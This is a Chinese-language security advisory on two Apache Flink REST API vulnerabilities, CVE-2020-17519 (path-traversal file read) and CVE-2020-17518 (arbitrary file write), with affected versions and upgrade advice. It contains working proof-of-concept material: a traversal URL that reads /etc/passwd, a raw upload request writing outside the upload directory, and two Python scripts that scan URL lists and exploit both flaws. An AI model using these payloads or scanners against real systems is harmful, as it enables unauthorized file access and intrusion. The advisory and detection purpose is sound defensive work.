2021年1月5日,Apache Flink官方发布安全更新,修复了由蚂蚁安全非攻实验室发现提交的2个高危漏洞:

  • CVE-2020-17519:攻击者可通过REST API使用../跳目录实现系统任意文件读取;
  • CVE-2020-17518:通过构造恶意的http header,可实现远程文件写入。

1. 漏洞描述

Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。Flink 1.5.1引入了REST API,但其实现上存在多处缺陷,导致目录遍历和任意文件写入漏洞,风险较大,阿里云应急响应中心提醒 Flink 用户尽快采取安全措施阻止漏洞攻击。

2. 漏洞评级

CVE-2020-17518 高危

CVE-2020-17519 高危

3. 漏洞复现

3.1 CVE-2020-17519 jobmanager/logs路径遍历

Apache Flink 1.11.0中引入的更改(以及1.11.1和1.11.2中也发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。

3.1.1 影响版本

1.11.0-1.11.2

3.1.2 漏洞验证

POC:

http:``//example/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

post-e-1.png

3.1.3 检测脚本

#!/usr/bin/env python
# coding:utf-8
# author:B1anda0
#affected versions are Apache Flink 1.11.0-1.11.2

import requests,sys,colorama
from colorama import *
init(autoreset=True)

banner='''\033[1;33;40m
  _______      ________    ___   ___ ___   ___        __ ______ _____ __  ___  
 / ____\ \    / /  ____|  |__ \ / _ \__ \ / _ \      /_ |____  | ____/_ |/ _ \ 
| |     \ \  / /| |__ ______ ) | | | | ) | | | |______| |   / /| |__  | | (_) |
| |      \ \/ / |  __|______/ /| | | |/ /| | | |______| |  / / |___ \ | |\__, |
| |____   \  /  | |____    / /_| |_| / /_| |_| |      | | / /   ___) || |  / / 
 \_____|   \/   |______|  |____|\___/____|\___/       |_|/_/   |____/ |_| /_/                                                                                                                                                 
'''

def verify():
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"}
    payload= '/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd' 
    poc=urls+payload
    try:
        requests.packages.urllib3.disable_warnings()#解决InsecureRequestWarning警告
        response=requests.get(poc,headers=headers,timeout=15,verify=False)
        if response.status_code==200 and "root:x" in response.content:
            print(u'\033[1;31;40m[+]{} is apache flink directory traversal vulnerability'.format(urls))
            print(response.content)
            #将漏洞地址输出在Vul.txt中
            f=open('./vul.txt','a')
            f.write(urls)
            f.write('\n')
        else:
            print('\033[1;32;40m[-]{} None'.format(urls))
    except:
        print('{} request timeout'.format(urls))

if __name__ == '__main__':
    print (banner)
    if len(sys.argv)!=2:
        print('Example:python CVE-2020-17519.py urls.txt')
    else:
        file = open(sys.argv[1])
        for url in file.readlines():
            urls=url.strip()
            if urls[-1]=='/':
                urls=urls[:-1]
            verify()
        print ('Check Over')

3.2 CVE-2020-17518 上传路径遍历

Apache Flink 1.5.1引入了REST处理程序,该处理程序允许您通过经过恶意修改的HTTP HEADER将上传的文件写入本地文件系统上的任意位置。

3.2.1 影响版本

1.5.1-1.11.2

3.2.2 漏洞验证

POC:

POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name=``"jarfile"``; filename=``"../../../../../../tmp/success"

success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

post-e-2.png

通过上面的路径遍历可知文件写入成功:

post-e-3.png

3.2.3 检测脚本

#-*- coding:utf-8 -*-
banner = """
        888888ba             dP                     
        88    `8b            88                     
       a88aaaa8P' .d8888b. d8888P .d8888b. dP    dP 
        88   `8b. 88'  `88   88   Y8ooooo. 88    88 
        88    .88 88.  .88   88         88 88.  .88 
        88888888P `88888P8   dP   `88888P' `88888P' 
   ooooooooooooooooooooooooooooooooooooooooooooooooooooo 
                @time:2021/01/06 CVE-2020-17518.py
                C0de by NebulabdSec - @batsu                  
 """
print(banner)
import threadpool
import random
import requests
import argparse
import http.client
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'

payload_CMD  = '''test'''
TARGET_URI = "/jars/upload'%2bsss"

def get_ua():
    first_num = random.randint(55, 62)
    third_num = random.randint(0, 3200)
    fourth_num = random.randint(0, 140)
    os_type = [
        '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)',
        '(Macintosh; Intel Mac OS X 10_12_6)'
    ]
    chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

    ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
                   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
                  )
    return ua

def CVE_2020_17518(url):
    proxies = {"http":"http://127.0.0.1:8080"}
    # proxies = {"scoks5": "http://127.0.0.1:1081"}
    paramsMultipart = [('jarfile',
                        ('../../../../../tmp/test', "{}\r\n".format(payload_CMD), 'application/octet-stream'))]

    headers = {
        'User-Agent': get_ua(),
        "Accept": "*/*"
    }
    targetUrl = url + TARGET_URI
    try:
        res = requests.post(targetUrl,
                            files=paramsMultipart,
                            headers=headers,
                            timeout=15,
                            verify=False,
                            proxies=proxies)
                            # proxies={'socks5': 'http://127.0.0.1:1081'})
        if  len(res.text) == 25 and "Not found" in res.text and "errors" in res.text:
            print("[+] URL:{}--------可能存在CVE-2020-17518漏洞".format(url))
            with open("存在漏洞地址.txt", 'a') as fw:
                fw.write(url + '\n')
        else:
            print("[-] " + url + " 没有发现CVE-2020-17518漏洞.\n")
    except Exception as e:
        print(e)
    except:
        print("[-] " + url + " Request ERROR.\n")

def multithreading(filename="ip.txt", pools=5):
    works = []
    with open(filename, "r") as f:
        for i in f:
            func_params = [i.rstrip("\n")]
            works.append((func_params, None))
    pool = threadpool.ThreadPool(pools)
    reqs = threadpool.makeRequests(CVE_2020_17518, works)
    [pool.putRequest(req) for req in reqs]
    pool.wait()

def main():
    print("默认上传文件名为../../../../../tmp/test,内容为'''test'''")
    parser = argparse.ArgumentParser()
    parser.add_argument("-u",
                        "--url",
                        help="Target URL; Example:http://ip:port")
    parser.add_argument("-f",
                        "--file",
                        help="Url File; Example:url.txt")
    args = parser.parse_args()
    url = args.url
    file_path = args.file
    if url != None and file_path ==None:
        CVE_2020_17518(url)
    elif url == None and file_path != None:
        multithreading(file_path, 10)  # 默认15线程

if __name__ == "__main__":
    main()

4. 相关空间测绘数据

360安全大脑-Quake网络空间测绘系统通过对全网资产测绘,发现Apache Flink产品具体分布如下图所示。

07739876-f08a-4f7e-a7c2-e7248eb37933.png

5. 安全版本

Apache Flink 1.12.0, 1.11.3

6. 修复建议

  1. 临时修复建议:若业务环境允许,使用白名单限制相关web项目的访问来降低风险。

  2. 官方已发布安全版本,请及时下载升级至安全版本。

    下载链接:https://flink.apache.org/zh/downloads.html

参考链接:

  1. 【漏洞预警】Apache Flink 高危漏洞预警(CVE-2020-17518/CVE-2020-17519) - 先知社区 (aliyun.com)

  2. Apache Flink CVE-2020-17518 & CVE-2020-17519

  3. CVE-2020-17518/17519:Apache Flink 目录遍历漏洞